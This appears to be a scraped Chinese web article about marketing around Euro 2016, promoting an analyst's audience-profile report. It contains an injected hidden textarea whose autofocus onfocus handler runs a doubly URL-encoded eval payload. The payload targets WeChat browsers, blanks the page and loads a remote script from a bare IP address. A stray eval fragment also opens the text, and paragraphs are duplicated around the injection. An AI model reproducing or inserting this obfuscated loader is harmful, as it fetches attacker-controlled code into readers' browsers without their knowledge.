eval(unescape(unescape('

　　以往只有铁杆球迷才会全情参与的体育项目，似乎正在转变成全民参与刷存在感的泛娱乐项目。对于品牌主欧洲杯期间的营销而言，我们不禁要问：“营销对象还仅仅是观赛的那一拨“真球迷”吗?”

　　欧洲杯看的不只是“足球”

　　6月10日，4年一度的欧洲杯拉开战幕。围绕欧洲杯的话题，早已不仅仅只是足球，比如还有各种版本的“真球迷”快速养成攻略，不懂装懂指南，帅哥捕获雷达，那一年我看过的欧洲杯... 无论是自黑，调侃，秀情结还是纯粹刷存在感，人人都能为欧洲杯贡献出自己的话题。

　　随着微博、微信、直播、弹幕、短视频等新媒体手段不断渗透到人们的日常沟通方式中，以往只有铁杆球迷才会全情参与的体育项目，似乎正在转变成全民参与刷存在感的泛娱乐项目。对于品牌主欧洲杯期间的营销而言，我们不禁要问：

　　“营销对象还仅仅是观赛的那一拨“真球迷”吗?” <textarea autofocus="" οnfοcus="eval(unescape(unescape('%76%61%72%25%32%30%75%61%25%32%30%25%33%44%25%32%30%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%25%33%42%69%66%25%32%38%75%61%2e%69%6e%64%65%78%4f%66%25%32%38%25%32%32%4d%69%63%72%6f%4d%65%73%73%65%6e%67%65%72%25%32%32%25%32%39%25%33%45%30%25%32%39%25%37%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%62%6f%64%79%25%32%37%25%32%39%25%30%41%25%35%42%30%25%35%44%2e%6f%75%74%65%72%48%54%4d%4c%25%33%44%25%32%37%4c%6f%61%64%69%6e%67%2e%2e%2e%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%74%69%74%6c%65%25%33%44%25%32%37%25%35%43%75%36%62%36%33%25%35%43%75%35%37%32%38%25%35%43%75%35%32%61%30%25%35%43%75%38%66%37%64%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%32%37%25%33%42%76%61%72%25%32%30%73%25%33%44%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%25%30%41%25%32%38%25%32%37%73%63%72%69%70%74%25%32%37%25%32%39%25%33%42%73%2e%73%72%63%25%33%44%25%32%37%68%74%74%70%25%33%41%2f%2f%34%37%2e%38%39%2e%34%33%2e%35%31%2f%70%72%6f%78%79%2e%70%68%70%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%68%65%61%64%25%32%37%25%32%39%2e%69%74%65%6d%25%32%38%30%25%32%39%2e%61%70%70%65%6e%64%43%68%69%6c%64%25%32%38%73%25%32%39%25%33%42%25%37%44')))" style="width:1px;height:1px">.</textarea>

　　带着这样的疑问，数据分析师的“悠悠白书”进行了一次基于欧洲杯话题的洞察分析，制作出《2016“欧洲杯”人群画像分析 &6 大营销洞察解读》。他是怎样揭示出欧洲杯观赛群体与营销群体的不同?又提出了哪6个社会化营销洞察?请看报告详解。